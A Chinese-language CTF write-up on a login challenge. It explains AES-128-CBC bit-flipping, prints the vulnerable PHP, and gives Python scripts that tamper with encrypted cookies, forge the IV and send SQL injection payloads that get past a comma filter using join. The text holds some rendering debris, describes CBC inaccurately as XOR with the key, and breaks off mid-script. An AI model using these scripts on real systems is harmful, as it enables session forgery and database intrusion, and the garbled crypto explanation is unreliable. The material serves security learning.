文章目录
前言
写着破玩意要写一个保存一个,保险, 一口气写最后一下子卡了没保存, 从头再来mmp
简单的登录题
这题真的难,其中涉及到了一个很重要的知识点–cbc字节翻转攻击
再讲cbc之前先简单提一下异或的几个基本公式,在之后会用到
异或基本公式
C = A ^ B
=> A = C ^ B
=> B = A ^ C
A ^ B ^ C = 0
CBC字节翻转攻击
核心攻击思想:通过损坏密文字节来改变明文字节
想要灵活进行攻击,就要先了解算法原理
AES-128-CBC加密原理图
Plaintext:待加密的数据–明文
Initiationn Vector(IV):用于随机化加密的比特块,保证即使对相同明文多次加密,也可以得到不同的密文
Key:秘钥
Ciphertext:加密后的数据–密文
CBC算法工作于一个一段固定长度的比特组,一比特组称为块,AES-128-CBC算法中的128指的是128位及16字节,故此算法中的块由16字节组成
加密过程
将明文换分为16字节一块,不够则用特殊字符进行填充
生成指定秘钥以及随机初始化向量
第一块明文与IV进行异或产生一个过渡型密文
KEY与过渡型密文进行异或产生第一块密文
第一块密文以新的IV的身份参与第二块明文的加密
循环直至所有明文块被转换为密文块将IV与所有的密文块拼接形成最终的密文
加密特性
前一块的密文参与产生后一块的密文
AES-128-CBC解密原理图
了解了加密,解密就很简单了,解密无非就是反过来的加密
解密特性
前一块的密文参与还原后一块的密文
解密过程
从密文中提取IV
密文分块
KEY与第一块密文进行异或得到过渡型密文
过渡型密文与KEY异或得到第一块明文
第一块密文以新的IV的身份参与第二块密文的解密
循环至所有密文被转换后将明文块拼接得到明文
AES-128-CBC攻击图
cbc翻转攻击利用解密特性
一块明文是由前一块密文或IV参与异或得到的,由于异或运算字节是一一对应的,如果对指定密文字节进行控制,即可对指定明文的字节进行控制,从而生成指定明文
了解了原理,接下来进入题目看一下具体如何控制
回归题目
抓包
访问test.php得到源码
<?php
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" val`在这里插入代码片`ue="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}
代码审计
如果有$_POST['id']
进行sql注入检测,如果没有检测到sql攻击之后便序列化最终生成cipher
。
如果没有$_POST['id']
,但有iv
和 cipher
,则进行base64解密以及aes-128-cbc解密后再进行反序列得到$info['id']
,再利用$info['id']
进行sql查询
解题思路
很显然是利用cbc翻转攻击,因为即便修改$_POST['id']
绕过了sqliCheck
也没有sql语句可以利用。
通过post传值生成iv
和 cipher
,之后再对cipher
进行修改得到可控的$info['id']
来进行sql攻击
观察sql语句$sql="select * from users limit ".$info['id'].",0";
,
limit的step为0的情况下无论如何查询都永远不可能得到返回信息,故构造KaTeX parse error: Expected 'EOF', got '#' at position 14: info['id']为`1#̲` 由于`#`被waf,所以先…info[‘id’]为12
,之后再通过cbc翻转攻击修改为1#
即可
由于序列化的存在,所以实际上构造的明文为a:1:{s:2:"id";s:2:"12";}
,可以通过脚本将其分为明文块
<?php
$id=@$_POST['id'];
$info = array('id'=>$id);
$plain = serialize($info);
$row=ceil(strlen($plain)/16);
for($i=0;$i<$row;$i++){
echo substr($plain,$i*16,16).'<br/>';
}
得知字符2
的偏移度为4
利用异或进行控制
密文块 = 错误明文 ^ 前一块密文或IV
新的前一块密文或IV = 正确明文 ^ 密文块
新的前一块密文或IV = 正确明文 ^ 错误明文 ^ 前一块密文或IV
# -*- coding:utf8 -*-
__author__='pcat@chamd5.org' #脚本源于网上
from base64 import *
import urllib
cipher='Q8q16HNTspdj2W64X67xqLXUnAAdrH9RpiGfuUn6bAA%3D'
cipher_raw=b64decode(urllib.unquote(cipher)) #这里先进行了urldecode
lst=list(cipher_raw)
idx=4
c1='2'
c2='#'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2)) #进行了异或控制
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
print cipher_new
得到新密文Q8q16GJTspdj2W64X67xqLXUnAAdrH9RpiGfuUn6bAA%3D
用新密文和旧iv进行访问得到
无法反序列的原因是因为第一个密文块是新的,但iv没有修改成新的
# -*- coding:utf8 -*-
__author__ = 'pcat@chamd5.org'
from base64 import *
import urllib
iv = 'bsyqa8f%2FOAdH5K7J%2FhPkDg%3D%3D'
iv_raw = b64decode(urllib.unquote(iv))
first = 'a:1:{s:2:"id";s:'
plain = b64decode('k91UszoTcuHCHdU1/44/tjI6IjEjIjt9')
iv_new = ''
for i in range(16):
iv_new += chr(ord(plain[ i ]) ^ ord(first[ i ]) ^ ord(iv_raw[ i ]))
iv_new = urllib.quote(b64encode(iv_new))
print iv_new
得到新ivnCvP4oafcNS/2xKYI6aogg%3D%3D
构造成功
构造sql注入
由于之前sqlCheck
waf逗号,所以要利用join
来绕过逗号
还有一个坑,此题构造的sql语句为select * from users where id='0' limit 1,1 union select * from ((select 1)a join (select 2)b join (select 3)c);
不过这个语句在mysql版本5.7之后便不可使用了,需要括号包裹
注入脚本
# -*- coding:utf8 -*-
# cbc字节反转
__author__ = 'pcat@chamd5.org'
from base64 import *
import urllib
import requests
import re
def mydecode(value):
return b64decode(urllib.unquote(value))
def myencode(value):
return urllib.quote(b64encode(value))
def mycbc(value, idx, c1, c2):
lst = list(value)
lst[ idx ] = chr(ord(lst[ idx ]) ^ ord(c1) ^ ord(c2))
return ''.join(lst)
def pcat(payload, idx, c1, c2):
url = r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
myd = {
'id': payload}
res = requests.post(url, data=myd)
cookies = res.headers[ 'Set-Cookie' ]
iv = re.findall(r'iv=(.*?),', cookies)[ 0 ]
cipher = re.findall(r'cipher=(.*)', cookies)[ 0 ]
iv_raw = mydecode(iv)
cipher_raw = mydecode(cipher)
cipher_new = myencode(mycbc(cipher_raw, idx, c1, c2))
cookies_new = {
'iv': iv, 'cipher': cipher_new}
cont = requests.get(url, cookies=cookies_new).content
plain = b64decode(re.findall(r"base64_decode\('(.*?)'\)", cont)[ 0 ])
first = 'a:1:{s:2:"id";s:'
iv_new = ''
for i in range(16):
iv_new += chr(ord(first[ i ]) ^ ord(plain[ i ]) ^ ord(iv_raw[ i ]))
iv_new = myencode(iv_new)
cookies_new = {
'iv': iv_new, 'cipher': cipher_new}
cont = requests.get(url, cookies=cookies_new)